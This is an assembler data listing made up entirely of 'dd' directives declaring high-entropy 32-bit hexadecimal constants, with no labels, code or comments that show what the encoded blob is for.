dd 0F0004AB5h, 6A85A1CFh, 0AD7C70h, 0F84D22C4h, 60476D9Ch dd 4BC39314h, 993CECh, 0C966BCB2h, 1D2FB117h, 400BEE9Ah dd 0A973E58Fh, 7A063EE7h, 0ED35BF5Ch, 2B161D98h, 0C16A9E92h dd 9B5DC789h, 4FBAEC1Eh, 0AB53DC00h, 0F0987709h, 0C05B1C83h dd 9F342E80h, 0BF7DC0FBh, 0BDCE9970h, 22190874h, 0BE20273Ch dd 341B18BCh, 20001192h, 248897CBh, 60FA06AEh, 0BAF712F2h dd 0C27E403Ch, 0B856861Eh, 113F440Ch, 0B49000F8h, 0F9FB187Eh dd 8307EA7Dh, 0CEBE96Fh, 391986C0h, 0F430F9F8h, 0A93013Dh dd 7AC1C220h, 83A98206h, 0B0EF96E9h, 0A1FA3960h, 0C100FB1Ch dd 5006449h, 60DD93A7h, 736F684h, 81CBB654h, 0CCD7E04Ah dd 7F003BAAh, 435DBB79h, 38D066C3h, 8E00E785h, 0DBD2D6E1h dd 54002651h, 11C7658Ah, 0A400422h, 5CCD3DECh, 0BEDA004Ch dd 0D183F73Fh, 0B3399638h, 1DE0878h, 3FCDC521h, 0D154E32Eh dd 3062E836h, 0FE814600h, 3BA21A51h, 0F3C73FE9h, 0E230A57Dh dd 0E4183CD6h, 0C9B618B9h, 0E8FE5028h, 690CD490h, 5880F7C1h dd 55B53A47h, 30A6206Bh, 76F6DEC8h, 0EDD0A0ABh, 0E906C5BDh dd 0C13920FAh, 318B6009h, 0ADBD05DAh, 0CC8E39h, 0DFBE2D92h dd 605D7B15h, 1314B10Dh, 0B34CC938h, 7C3E30h, 0BD976C2Eh dd 0C13F9466h, 1BBFC780h, 8898BA9Dh, 32357506h, 0F2309590h dd 0E9BE11BDh, 0BFB588E2h, 9703EA39h, 0F7A8B6F9h, 0F9E5A6A1h dd 0BE42FC57h, 0E4D7D528h, 0DE2F371Dh, 50589A81h, 0B02B97EAh dd 60005AD6h, 57161AB5h, 0DFD29Eh, 0C30D6232h, 61041CF4h dd 3017F90h, 8254CF7Dh, 46D860FBh, 49C300B5h, 0B9A2EEF7h dd 790031F3h, 5D1D990Ah, 55F44Ch, 7D6CEDB5h, 20651AA1h dd 0A5921800h, 0BCE1B32h, 87A300ACh, 386DAB25h, 3300DC1Ah dd 3F9EEBB4h, 77124h, 160590B6h, 6281345Fh, 96BD1900h dd 0CFA15953h, 82C61EB0h, 455C005Dh, 0DC9DF815h, 62799BF2h dd 0B008D74h, 0C20C7072h, 7EB3874h, 54C70696h, 91654012h dd 0C00766B0h, 8C35A746h, 0A624740h, 0FA5F00B4h, 8AA802A5h dd 45EECE8Dh, 0DB3C8400h, 3D8710A1h, 0F81403EBh, 0EC314077h dd 0CD2BFBB8h, 0A7DB500h, 8D8845FEh, 530C3A57h, 0DFE56063h dd 0F8A0800h, 93CF593Bh, 0E2350096h, 57072C5Ch, 0FF0CE91Ch dd 78FBBD2Eh, 30D06C80h, 8CC9840h, 1B2D10E1h, 590397C0h dd 57A6D3E0h, 44FA107Ch, 0AC186F63h, 0B210086h, 0BF17B07Ah dd 4FB8A5AEh, 0B26B4A18h, 0C395D550h, 0C696DB61h, 4A748688h dd 6C69CB00h, 0FF9D2E14h, 600C3882h, 8C3B59E2h, 621C500h dd 0E52D0039h, 66449F42h, 7519238Eh, 32C0ED33h, 806A2880h dd 0F76CD727h, 0AD96CD1Bh, 9D0EA148h, 7AA2C18Ch, 1A1D29E9h dd 0D60037EBh, 316AF099h, 0CC803F76h, 3947A961h, 639BDD1h dd 0F13ED2C6h, 1871910h, 0FFD51952h, 0B1273100h, 389B10B9h dd 0A291C6CAh, 4007294Eh, 74D99814h, 7C4C806Fh, 11230EAh dd 2A1C3D4Eh, 0FAFB2557h, 0A6D16483h, 0F295902h, 0A543DE3Ah dd 0A8709FB8h, 58115C2h, 0FD36B811h, 5B5D8069h, 45054D01h dd 0B4989085h, 6158A84Ch, 0EB3500AFh, 76F97481h, 960002FBh dd 0E41BB55Ch, 0C21C3h, 70292D19h, 0F2A253Eh, 0CC72A50Ch dd 88FD4961h, 12004FD8h, 0F834EE5Bh, 905103Ah, 8CD4BAE8h dd 0A3A62410h, 81A2CD01h, 2D9B2F77h, 0A4A23102h, 9E244DCFh dd 0A573890h, 0EB7C8888h, 5F6212F0h, 0A080E511h, 0F7587DC8h dd 28F200CEh, 60BF1B72h, 0E806E44Fh, 3561DB34h, 3F0C1561h dd 2AC098A8h, 0F4803875h, 62D68700h, 98BEA49Dh, 0C329047Bh dd 70025441h, 77AFDB3h, 88D71731h, 0EA6E9075h, 0C706ECE3h dd 0AED844D2h, 68015071h, 903281E2h, 85880819h, 993CA20Ch dd 6B4B00C2h, 2BAB9378h, 6D033456h, 2E73886Ah, 300A6CE9h dd 0C1CE91AEh, 399F8ACh, 8478032Fh, 99B1D9FDh, 68150FEBh dd 1948BE5h, 23AB9BADh, 7991281Bh, 414F0002h, 1D718D5h dd 865601A5h, 1BB9D8B5h, 8F46DC2Eh, 8026F26h, 94D563h dd 3BF28E81h, 38B49E5Bh, 6DEEAB02h, 812DA979h, 87AFA6DCh dd 0EA69A180h, 6024CC4Dh, 18912E04h, 6880291Ah, 31254342h dd 31282A16h, 5AD8918Ch, 0D80FCC00h, 297E6C95h, 27211F00h dd 1BD61170h, 68166313h, 0A47BD5h, 3298F535h, 0D15500EDh dd 0BF9C7A94h, 0DC018AC3h, 0D0F8E281h, 0F89E1C33h, 6CF6802Dh dd 534EB00Ah, 1122BC90h, 5E44818Eh, 0C663F210h, 16FD2200h dd 2C95DD09h, 0EB0A033Bh, 421D4BBh, 8F68A2A7h, 0F380F890h dd 47997861h, 0C45082E7h, 370EA01h, 6F8B6CECh, 78764FEEh dd 4D80AD88h, 85CCC0CBh, 0BCA4D751h, 81426490h, 0DBB18878h dd 0B65ADE06h, 0E029B4E6h, 0CD2D8887h, 4807E503h, 0A303A8A9h dd 1413C2Ch, 0D200A140h, 5EE6D167h, 496A0Bh, 0F5A4B585h dd 0BBA224FDh, 24EFC07Bh, 50887E2Ch, 30E85801h, 79DB600h dd 0B1740F8h, 0FE8721C3h, 0A6A10B74h, 300E6F47h, 58442CB1h dd 80862488h, 3023F06Ah, 0C613C7D1h, 0B421CAC9h, 0A610750Ch dd 0F20308DBh, 2A4A57A4h, 30E1002Dh, 32E29E24h, 0D90C21DFh dd 58AB749Bh, 8C362A9Ch, 12824288h, 18BDBh, 2A50BCADh dd 52DC81A0h, 7F06B4A5h dd 1197AE33h, 3E043200h, 0A96DC270h, 99490085h, 2E40C911h dd 0AD31C0EFh, 0F2B1C983h, 73D8CBF0h, 6F3E266Eh, 72ECE098h dd 0A400ED68h, 49B111A0h, 5376484Ah, 570AFC1Dh, 408C8116h dd 9062C52Bh, 472D360Fh, 3BFEE708h, 595292C0h, 93D27C4Eh dd 30AA8008h, 1CF9D7BAh, 188C4A2Ch, 62006868h, 3137A59h dd 0DD72026Fh, 5E8BC814h, 0E8751B60h, 358068A8h, 0DC4F21Dh dd 18A0BB95h, 0B44996D5h, 1272ADh, 0E017748Eh, 6D4FF735h dd 0EC34BF00h, 4C6536D2h, 0D8484985h, 63398C30h, 511F0A28h dd 0F0268F52h, 16DD178h, 0FE07BB35h, 7E6FC032h, 18D1DF0h dd 0D6A9F10h, 0B0879590h, 71C5F948h, 0C9A2ED4h, 0A3E18A88h dd 801088A8h, 95B3F040h, 2DBF07C5h, 0C98A0A96h, 6703D4B1h dd 0C0984848h, 0DB3F36Dh, 7A30F2Ch, 0D2A02B12h, 0E5E3221Dh dd 7524AEE0h, 0E88A486Dh, 602C8DFFh, 7C8AC040h, 0D1A0309h dd 28484B51h, 338637A0h, 48882C48h, 70AACD20h, 0D67CF433h dd 1FBC00C9h, 779765D5h, 82803A48h, 64E748E1h, 0CC5F09F8h dd 68CFE28h, 1300C021h, 0AECDD09Eh, 726F84C1h, 0B88D4D2Ah dd 8A9D1680h, 7F0983C5h, 5FABD7Ch, 0C1C1067Ah, 0D44162ADh dd 998E90D5h, 5600EDA9h, 71BA6310h, 0FB4DE54h, 6848F942h dd 9F5CA622h, 880184C4h, 8B74B854h, 93D5E118h, 91F211h dd 0D776AA31h, 904E424Fh, 39B0FB31h, 961392CDh, 84E025B5h dd 0DC3811DCh, 79003B22h, 0F0D34145h, 4FEC0Bh, 0C45B9AFEh dd 1B56BB6Eh, 0D8B048F1h, 0F32B770Bh, 877491BFh, 6D507E10h dd 8E08EE00h, 2E522BCFh, 0A4A84D14h, 107B2887h, 4341D54Fh dd 79C13600h, 16DD2737h, 605A020Eh, 464E3BDAh, 0E8BC30h dd 0AA408BF7h, 39734F5Ah, 45E05D16h, 408CE472h, 14B769C3h dd 0A402962Ch, 9C46CBC8h, 66090C9h, 39472C5Dh, 77F92909h dd 79447CBCh, 418F65D5h, 0A19DC012h, 0E6743E65h, 0A44520D6h dd 0D4208C32h, 82830957h, 609198BAh, 188062F9h, 7A2951ACh dd 0B0A5248Fh, 0FEB20301h, 1CDBB78h, 0CC9AE0C2h, 80CC28F0h dd 5CDD9B03h, 0D3B00323h, 0EBBD63CDh, 99E5E118h, 3A701BD1h dd 8C010FF9h, 1913126Dh, 7063D1CEh, 9B0B9040h, 14EC7EEAh dd 73A230A8h, 533C8469h, 0F4AF2E01h, 1B7DCFDFh, 220F4C64h dd 80248CC4h, 24402CCEh, 0CD572C7h, 9E2947F2h, 4891CFF1h dd 0CBC84490h, 7957E6h, 3FB15FEDh, 0CCD65E12h, 0B5716D01h dd 887448DAh, 0E97DFC63h, 0D5250436h, 0DACF0023h, 0CBB4F6F8h dd 57B2400h, 0EF236044h, 0E89C480h, 982D4998h, 0D6AEFCh dd 671DA027h, 0A8E70499h, 112CA701h, 47FAC0CAh, 888ED434h dd 1A00A4D8h, 4B21A2CDh, 281D63DCh, 78D5C8h, 20E26C2Eh dd 21B14E8Fh, 43255B01h, 5E3B1B18h, 6A0C20h, 0EB16DCF7h dd 0D6E630B9h, 4A40565Dh, 0F3C98C20h, 0E5260EAAh, 79F9718h dd 63A34D75h, 0D11023C3h, 0CD808505h, 0FC41D499h, 0B2C8C4Dh dd 85D0547h, 2069A034h, 2057E2C4h, 0C48355B0h, 0BC4AFF4h dd 0AA4B7BFAh, 0E047D010h, 64618360h, 42FDA2h, 772BD614h dd 43F0B15Eh, 0DD96E400h, 292A0B74h, 30DA0515h, 88D33912h dd 0A8403DC0h, 38FC0067h, 4208DD41h, 5F07B0C1h, 0F94C2044h dd 0F33B94h, 4B0D390Ah, 9150B184h, 8B58602Dh, 0F3D51D88h dd 1A61064h, 0C2A40F29h, 809AE2A9h, 0D624CEB1h, 8523Fh dd 0FF20DA18h, 0AA4D7340h, 984C697Dh, 0AFC0DDACh, 0B71E5379h dd 6FEA03FBh, 43265821h, 8078A2A9h, 0A12D4889h, 17B5F90h dd 927EE070h, 5C4A8034h, 40008CDCh, 0D2CC242h, 1C615503h dd 883C6E05h, 4701EFD3h, 18EAAE70h, 67CDC160h, 8B3A89A4h dd 2C35BCA0h, 0D612E130h, 2C22D413h, 0CC63E039h, 9D180089h dd 0A291F1E4h, 5324E312h, 808420A1h, 0BC8C83D2h, 40FC9997h dd 0A69A2534h, 2DF13600h, 0EDD98B7Fh, 11A20250h, 62475D77h dd 0DE762BE0h, 9653EB39h, 4844AA5Ch, 0D8B60187h, 0C8A1058h dd 6C864BF4h, 5CF079A5h, 0CFCABC07h, 12B9E578h, 7C74600Ch dd 79A9C488h, 0A4202499h, 0FEFB55h, 750FA127h, 8211E4BDh dd 0FD428F09h, 9C140548h, 44314448h, 0C830563Eh, 3A49E0h dd 91EC626Ch, 0B6E357Ah, 9C872E00h, 0A5203CF5h, 26C9AEFh dd 39389B0Dh, 0FC4A42F7h, 320C1C61h, 0F4800958h, 0A40E48Bh dd 6F22153Bh, 34358B84h, 40876424h, 2526E849h, 0D103029Fh dd 0A81939FFh, 74AC7490h, 0F2F86700h, 0C828DC56h, 874804C0h dd 0C2521ABCh, 47209378h, 0E68E77h, 0E30A53B8h, 73AE224Ah dd 0E544450h, 0D73C8B42h, 97771EC2h, 806844CFh, 0A6CBF27h dd 8BC4109Fh, 0A8362A2Ah, 4700F494h, 9F40966Ah, 0C680095Bh dd 0FCCC8879h, 27308100h, 0ADB0E959h, 2ECA0EA9h, 106041F1h dd 0C5897794h, 0F94BF4A4h, 0A48CE064h, 5EB81321h, 7EF000A0h dd 0D8DD6E4Fh, 41C8551h, 0F8ECC714h, 0D8722D96h, 90B4CE08h dd 3C8944ECh, 5EFA9501h, 2FD13FC8h, 27D98A60h, 94304454h dd 770056BFh, 5A01DE73h, 0E74E03h, 0D2DDC28h, 81C7B787h dd 4C371728h, 248F6B27h, 88409D64h, 4B92FD11h, 89C61700h dd 8581731Dh, 3DB00404h, 4074A2B3h, 5107B283h, 0D15E091Bh dd 0D0A2AEE7h, 70591157h, 0E0E30D05h, 287BD401h, 9033F13Fh dd 0DC3C9851h, 0CFC5D7A0h, 0AB7BE600h, 0FEE90117h, 48D4B098h dd 9AC8B479h, 1600714Fh, 88DC4F74h, 701E802Fh, 8B54C2BCh dd 0F1058F38h, 9CCBC45Ch, 30588866h, 4EFA0A69h, 0D0A0900Eh dd 82A4F848h, 2F5C0D57h, 0A836899Dh, 0B0590838h, 0F0D47C09h dd 0CC2C014Dh, 0A8243625h, 74288886h, 1894C271h, 0CB7F3104h dd 94ACC0A4h, 0F1D480B4h, 78B642D1h, 6102F511h, 0C5240A28h dd 4ACD12B0h, 70E5ACh, 410923DAh, 9D40C27Eh, 0CC0A5257h dd 20A93213h, 45A1BBA4h, 9C0013E0h, 1F0FC321h, 0EC22673h dd 0B0C618BEh, 8108F9F8h, 84A8138Ah, 6A08B0B6h, 0F88073A2h dd 9F104020h, 0CC950152h, 53BF9ECh, 0C021964Ch, 8CAC78D1h dd 214D598Fh, 0A63DDEA1h, 82D0914Eh, 6C00503Eh, 0E33B2BDFh dd 0A09444C3h, 76078411h, 0AFBF72h, 24C7FC10h, 0F9041731h dd 3014800Fh, 0E8D520C0h, 4D11F713h, 0CE7B7461h, 2724730h dd 0D77786FCh, 4F3984Ah, 0A0BD7400h, 2289E8B6h, 10F94DF6h dd 653FB3Ah, 28175779h, 9A44792Ah, 3D737BFAh, 5100D5B5h dd 0CC29E9B8h, 82E44178h, 481A8729h, 704C0E80h, 7AEECFC6h dd 4DB326CEh, 40984410h, 91723665h, 1C400D3h, 6BA3943Bh dd 9C009082h, 6CEA4628h, 90E051F3h, 93389B20h, 0A29C3436h dd 0BB491C88h, 3F009D9Dh, 2097E794h, 30A65BC4h, 6B742A6Ch dd 0B154B000h, 3DC3272h, 733A004Ah, 0A97EEC8Bh, 944E0692h dd 54840824h, 30034CB6h, 401913D3h, 20EA4EE0h, 2B3A4F00h dd 3506BE28h, 7BBCAC88h, 1B9304D6h, 0B495599Ch, 0A6887550h dd 0ACCD0298h, 92579040h, 6A0BB06Ch, 8CA0DF80h, 0DD1116h dd 9F6B4CDh, 7F495CE7h, 0A34490BEh, 440568E4h, 7444A283h dd 14A7022h, 0F9C90986h, 65A8EE4Dh, 94F427A8h, 28D0D290h dd 49CA2Eh, 64594B40h, 0EE9E55E0h, 2AC1DCEBh, 0AE54B302h dd 6BE28A95h, 0D861A5ACh, 1878F97Fh, 0ABA214A0h, 4BE73D01h dd 9308F0F8h, 5A0730F2h, 6A1B900Bh, 754CC74h, 0D2CA1EDBh dd 5188E032h, 4F023E33h, 84D9F0B5h, 5B885858h, 86A43235h dd 0E8CA9120h, 0A39B0171h dd 0C1AEDBA0h, 50068F9h, 2A9312A6h, 4C1D98F7h, 4AEB00CBh dd 0BF9BE929h, 46AFB107h, 0D81A21FEh, 70AD9A0Ah, 80CC2463h dd 0AC765DBh, 0B7E5D835h, 0D8CD45F0h, 0E0095768h, 70A615Ah dd 22A94EE6h, 29520B18h, 5F8C8804h, 0E0240212h, 250A49Ch dd 8408A4E7h, 50EA2136h, 0BB114822h, 7DD3BCC0h, 0C0FDB101h dd 61D1F3CAh, 330442Ah, 90C95374h, 13AF11D0h, 0D0D9FAFEh dd 0A1332B14h, 575C792Eh, 82940B00h, 9C44233Eh, 4C0D08F4h dd 28BCA69Eh, 0FC4B080Bh, 87987442h, 0B0884609h, 840A3A98h dd 2D340509h, 90EE54CCh, 6F163Ch, 6B86C921h, 0EA311DE4h dd 3046823Fh, 5688758h, 304169C3h, 8F40EF00h, 259EA056h dd 50682E5Ch, 44845F0Bh, 77008083h, 0EC5608Ch, 2B5EEDAh dd 1825F2AAh, 0E851A816h, 1504AF80h, 0D76D87h, 7D3A3DBDh dd 2DA4AD5h, 7323320Ah, 0F006CC2h, 610DFD5Bh, 0CCD75C80h dd 8E9F68A7h, 6DB8DA40h, 2DC4CD7Fh, 4811636Ch, 17C76E2h dd 750E592Eh, 0B4ECDCB6h, 0FE130007h, 0E5356E1Ah, 2D413DD7h dd 8970E1CEh, 0A6E91F13h, 4039AFh, 0DBE5C397h, 0EE938A2h dd 0F1F36240h, 982A6125h, 85450B9Ch, 8AA41C20h, 0DDA4E07Fh dd 430103CFh, 7E282942h, 75E8E6CDh, 0E0108700h, 69842154h dd 244300B6h, 0CA732ADh, 0CB121993h, 8C213486h, 0E1108CAAh dd 8403AD77h, 0DF36163h, 0D0A2F56Dh, 10088CC0h, 840173B4h dd 0B95FB7DFh, 4069DDF4h, 0EBC62400h, 0A5623565h, 9B5744h dd 0D249AB82h, 4EF14A2h, 0D0ACA100h, 0B27F675Ah, 0BE1490C7h dd 89B76034h, 7100FA7Bh, 4E412ACh, 200F39EDh, 58F68B11h dd 768E588h, 0A20B64D0h, 4CC8406Dh, 9A00D524h, 0D76615B2h dd 4E0C2A1h, 5E43855Dh, 2B38C814h, 4917C309h, 0D9F010A1h dd 9F9B0F4Ah, 2979D1D0h, 422E5h, 0E70431B5h, 0BD391Dh dd 1CFCCBC0h, 0B8D1CC7Dh, 64980753h, 4E405FA0h, 0D45C6F6Eh dd 2D6AC300h, 275D41E1h, 28DD00A3h, 4761FE1Eh, 0DC025CDEh dd 806F423Eh, 600D3F9h, 51822557h, 17316A3Ch, 0EC28C0DEh dd 18BC029Ah, 0DA23BD94h, 5C514484h, 5C4D3A01h, 35E833FCh dd 8B60027h, 0BEB552A9h, 802F0BCAh, 5B8498CBh, 940A02Ch dd 0EC358981h, 0CC2613FBh, 0F7E068D6h, 4E6289Eh, 0BB62BAC9h dd 0E708802Ah, 0B229ABB7h, 8511A8F3h, 59CDE600h, 1025D691h dd 38A9C62Ch, 1CDF0440h, 3840078Bh, 90F8AA51h, 0F585FDB8h dd 60A00519h, 0D05C3628h, 0F1CC00B2h, 0D465159Fh, 0B45C26FFh dd 12B30BE7h, 40EC42D7h, 844ECF84h, 0D9069637h, 0F821A18Dh dd 24571000h, 176A898Eh, 0C29F0442h, 4C14F2BCh, 83C32C35h dd 0C6E012A8h, 5612BFFFh, 88923319h, 11EC2A81h, 92977C88h dd 0BC5C56B0h, 29F50D4h, 79A96272h, 622294Dh, 0CE121152h dd 0B2608929h, 75A86154h, 0AC39D017h, 7B00BEC0h, 2AFD97D1h dd 0A3B5540Fh, 31D90997h, 9894F47Fh, 349244h, 2B02A2C1h dd 0F840CBFFh, 0B90DB43Bh, 0B009AF53h, 71DA0E0h, 72BAF1DCh dd 9D1B80BBh, 10132E6Ah, 0E4913D9Bh, 0D108C02h, 0AD4A91B8h dd 0AFEFF860h, 326B0C0Ch, 5E04DF3h, 77DC7953h, 0CD2B0484h dd 0CCBD5EC5h, 834416C4h, 1A0B0C73h, 35E91CE7h, 6C213D5Eh dd 0E5CB7996h, 0B601E4A6h, 0E18FFEF3h, 29C5D06Dh, 70D9C800h dd 50F61939h, 0A074B94Dh, 47F95834h, 727A2202h, 80E4B120h dd 79711002h, 0C0B93192h, 34B4BF59h, 0B268EFE8h, 0CAC401E4h dd 0CF0AE397h, 9B089988h, 0D7403C44h, 8051CE0Fh, 0F56DCA0Eh dd 136E84C7h, 52E09681h, 0EC35F852h, 43A20044h, 2F4710D2h dd 3F0C5DE2h, 7994AED3h, 6AC600A0h, 11BC5FA7h, 0D404BF36h dd 0D9CD18CEh, 79B0B4h, 76EF7114h, 60E37C85h, 84EC6358h dd 36458F16h, 0FCE38Ch, 2239584h, 76A055B4h, 823D0021h dd 3B58E381h, 0F8AE9060h, 5C08ADF2h, 204192B6h, 7F5F4428h dd 64402702h, 400E3A44h, 0DF580Dh, 26F83960h, 26D3FD3h dd 5CA2977Dh, 990E04D8h, 0EC0E66DFh, 7F7FA9F1h, 0B204E3AAh dd 0A0A29354h, 6680533Fh, 972BE922h, 2879F7E1h, 2CCCEB3Bh dd 390C2C08h, 981269A8h, 0E07496C8h, 8E330B27h, 4A03039h dd 62748455h, 7B4866C2h, 0C59B00D0h, 38C060F3h, 0FF4A4500h dd 0C37791FAh, 3FDA07FCh, 39D58476h, 8F4FB461h, 0A2882E61h dd 0E4855A9Ah, 2C707A80h, 2CFB9FE2h, 0F207E2B8h, 0B7274F40h dd 0C48670Fh, 0E0C442C8h, 5CC4B3h, 879FC224h, 64F4F337h dd 2B82AF17h, 28303452h, 447C291h, 57AFF608h, 3674E0F1h dd 396C9E51h, 0CB007458h, 59BB18E0h, 25B735BCh, 7C14083Bh dd 0DB10A404h, 6CD1ABEBh, 7088013h, 0BEE14D44h, 0E954A4BCh dd 0FC5650B2h, 0AC660F9Fh, 0F57805CBh, 0AA80F4A2h, 13A9D2C6h dd 6DC02D00h, 4EBBE56Fh, 0C2EB0227h, 0D457C1B1h, 0A6DAD490h dd 0C4307300h, 251FF9BBh, 0D83C006Eh, 2B6F202Ah, 0AC02B219h dd 4684566h, 0A4D0598Ch, 0C1DE1E4Ch, 50D37BF3h, 0D200381Fh dd 59ECC8h, 3DE1044Ah, 55B0D2BEh, 0D0F99C62h, 1962192h dd 38382A8Bh, 0D01C9536h, 0F40014B9h, 0AFD5B9E4h, 33E70145h dd 3132FC8Fh, 0F70BCCCDh, 0C79CF00Ch, 9D0249EAh, 0A07CA494h dd 64DF4C00h, 0E2F87C94h, 4953009Ah, 0E50A9BD4h, 8C53379Ch dd 170E21D0h, 0A80D232h, 27AF5C59h, 0C1EB06C8h, 707731F4h dd 4BF9A800h, 599231Ch, 590C59C9h, 0B0E16248h, 0F100C064h dd 0B701788Ch, 38CA4214h, 4B119C7Fh, 125878Fh, 48BECB82h dd 158E2E8h, 6BD4CD9Dh, 8C3129C0h, 5985ACA1h, 21620AFBh dd 93C8BC20h, 8CA06h, 9ACBDDB7h, 693885DFh, 1824F12Fh dd 3436443Ch, 960C9CE2h, 2D498E0Ah, 68AF9E27h, 0AB2048h dd 7C0AF1A3h, 0DF1B2AE5h, 80E9703Ah, 0D00379FBh, 4B806134h dd 47283015h, 6B889CE0h, 3A0A00A5h, 0A4BFDC66h, 0AB00EEB3h dd 6B472E0h, 18D075F3h, 310A8788h, 0F836648Dh, 0A518512Ah dd 94CB08C4h, 149D48A8h, 77EB0150h, 0FB601197h, 11A47D8Ch dd 0E04136CFh, 0AAA1C03Ch, 0D8853B7Dh, 52F09Ch, 599A961Eh dd 4CA07811h, 0E4696401h, 0D832FD16h, 0B0202025h, 556749Bh dd 17985AF0h, 44B0612Ah, 4885088Bh, 4F224448h, 8E4D3C90h dd 199C8C24h, 3887450Fh, 0E6448098h, 5F08CDFAh, 0E69C525Ch dd 1C8496Ch, 1A5755BFh, 0C3064D4h, 0CE2804F0h, 0F72DDD6Ch dd 396129Ch, 86CC1488h, 7C0842h, 0DF5E7945h, 0DCD786C8h dd 83F097E8h, 5C5308C1h, 2082988Fh, 0DEEFF8D9h, 297C3107h dd 60290768h, 11FF772Fh, 81A66351h, 2BE7F18h, 0D6D02A44h dd 49FA003Fh, 28DF5C35h, 0A706DB19h, 0D7365DFDh, 64EB0049h dd 0D22931A8h, 7C6F4D24h, 1A003169h, 4E96F56Ch, 0FEE2AF89h dd 1D684558h, 0DE86C232h, 302852F1h, 0DF08D9F4h, 750F3F40h dd 8530AA7Eh, 9FB0D84Bh, 0D1EE63B7h, 1A42DFEh, 0BC4387BEh dd 33EA7A20h, 9318BB33h, 86282800h, 877185ABh, 0C31DFDAh dd 0B271A322h, 0A48490A8h, 0B7320B00h, 85CAB819h, 0EED9011Dh dd 0EBA2437Eh, 843099D6h, 0A440E240h, 895AED37h, 0D25184DFh dd 20187E42h, 610846B6h, 0A227CC5Ch, 0EF3130CCh, 0E17EE039h dd 0F3A70300h, 875363DFh, 9CACC13Ah, 5C835095h, 0B43848D8h dd 5D858EEEh, 7DB74225h, 0A4800E96h, 6735AAD5h, 7028DA28h dd 2DA1C167h, 685B9AE0h, 530B81DDh, 0B19620F4h, 66058703h dd 0B8ED837Eh, 1F1C1581h dd 0CA24F1D3h, 5180A329h, 13DACD86h, 0F869F6D2h, 0C314888h dd 4E0C8680h, 147A73F6h, 8F381E66h, 886F5528h, 4434A818h dd 1E079FEBh, 0F0B29331h, 79D76370h, 990C006Dh, 5DE77F1Fh dd 230FBE3Fh, 0C8896684h, 0F4993C87h, 0E85789FDh, 0B37170D3h dd 1A4EED1Fh, 0C044B8CFh, 0D97F7972h, 8504917h, 643128h dd 147DD484h, 3355A5ACh, 29DF44h, 0B1269C43h, 0D1E27A79h dd 5C556BF0h, 2087DCF4h, 9501FCA4h, 6893B626h, 1D836F8h dd 0A0C7485Ah, 5F57E400h, 0C1B00C31h, 0EDD58611h, 4D004453h dd 7AE7B530h, 3B7C495Bh, 86ABAF2Eh, 38E5D900h, 0EDDCFCDBh dd 9158E560h, 2FDA8098h, 0FCB3432Eh, 29CB5700h, 0D1BE23A1h dd 3E37901h, 0B2C2ED42h, 21D088C1h, 0E0013B0h, 199328DDh dd 17D73ABh, 86A375E6h, 33C8E8D6h, 0FB180C04h, 0E969F4h dd 0D40113ADh, 31891C77h, 7C2BB007h, 804A9920h, 9C579C0Ah dd 1F804F87h, 0D8198D00h, 0A1D7309Fh, 4599E118h, 0B5621A0Fh dd 603213C1h, 727F20DAh, 0A000DC33h, 5CBC3803h, 0CD2506Eh dd 2D9CF74Fh, 4000B361h, 0A370FA73h, 6461988h, 3338727Ch dd 0BB0049D4h, 8F068E30h, 7AF135Bh, 0D1B9A383h, 58E0B0A8h dd 1703282Dh, 14D9C115h, 53593856h, 18D2ECC8h, 0CD4219FCh dd 2C6F7312h, 0C45E2D1Eh, 10E30540h, 2DD6E33h, 731B47D7h dd 2E4071B6h, 20377E02h, 0BF40E180h, 9880856h, 338239CEh dd 0C09B7818h, 247DF700h, 0ADE86F05h, 77A0052h, 0ED0A2892h dd 951D04ABh, 358026C7h, 820E483Dh, 0D9DD13F6h, 468430F9h dd 4B00EE79h, 0B5A87DE7h, 6275F50h, 9CC1B6B3h, 9F5C2958h dd 80DE3CEFh, 0BEC76930h, 0DC815B2Dh, 225740A9h, 0AA646199h dd 15FA0A00h, 7C0CDB3Bh, 0D6D91D24h, 0FB7B4048h, 7A6039EDh dd 7B83152h, 0F788BB59h, 0FDE29560h, 7BDA26E6h, 84726060h dd 40006CE5h, 0EE608E6Eh, 9A5C1FD5h, 1376FA88h, 5F8188h dd 4D5DC9DCh, 0B278374Bh, 4E92100Fh, 7827D6D2h, 0D97CBCC0h dd 29AF74CEh, 0E09DEAh, 0CC2EB855h, 4301B2E2h, 0C09F5457h dd 906429FBh, 425B24E6h, 81934440h, 100E9A88h, 0C3D53329h dd 0B239D2B1h, 68FFF6F8h, 0B59F6600h, 49ECE853h, 54ED122Dh dd 281440C2h, 5CD2BB34h, 0E7507251h, 1707D978h, 68781E35h dd 0BB6C16C0h, 7E7AD4h, 5BED541Ah, 0F4CCBE29h, 0AA24A3Ah dd 88C5CF9Eh, 90105500h, 0B0A39F2Fh, 34F500BCh, 9A8E7E4Bh dd 0AD64DC38h, 0BE5D29F8h, 0D320AF00h, 3EA017C2h, 0F7EF5F09h dd 898C00DCh, 46FDBB4h, 0B8DFB68Ch, 0CDF09098h, 0A3501659h dd 5380DBC4h, 0D9F76554h, 0BF10885Bh, 16013DF6h, 0C1EF910Ah dd 0C460B48Fh, 0DE9D22FFh, 80F1F46Fh, 0C1F989FEh, 0B3C22C2Fh dd 86A16044h, 0BC006876h, 3282BB2Ah, 90B777C0h, 3E564450h dd 0BDBAF800h, 0C8C3AF5h, 5B8411C2h, 7F371280h, 69CEE11Dh dd 0E0788A17h, 0A911EE08h, 0BC8D8ED8h, 806D9624h, 0FD544059h dd 0C1DB6A00h, 24F04FE2h, 0E3F22C7Bh, 0CB7F000Ch, 865B7CB5h dd 0A0F769C2h, 2D76601Ch, 0FB3B1C60h, 90D5803Fh, 828EEBB5h dd 88BA477Fh, 7568A5Ch, 252C7AA0h, 0FB7D7C50h, 96093DBAh dd 0C09DE103h, 990A5403h, 88C35953h, 0E3370B84h, 9E6788C0h dd 0C81F88B6h, 0F7BE8C1Ch, 22800CECh, 16C07FF0h, 34B000FBh dd 846D3320h, 6A0006D9h, 0F224B1C6h, 3E914A7Dh, 1182753h dd 0EC317189h, 67BF01E9h, 0F4BC8h, 64E12960h, 783CF4C9h dd 0A3614502h, 40BEA26Fh, 48DFFB18h, 0F4891458h, 0DAE70810h dd 0D99D800h, 33926D3Bh, 0A20638B7h, 8B1F8F85h, 558CC16Fh dd 882810A4h, 7D4314E6h, 309488CCh, 7C11FA21h, 87B82F00h dd 0C2DD61EEh, 0DA1108B0h, 1444C3A3h, 214C009Ah, 61DB4F6Ah dd 0BC0135B7h, 0A1B14D7Fh, 87117EBh, 5A585810h, 12BA003Ah dd 3D246E4Bh, 88037592h, 0EFBFFAA3h, 0C96810C2h, 458400C8h dd 0D9DB8C11h, 0D86755FBh, 285808h, 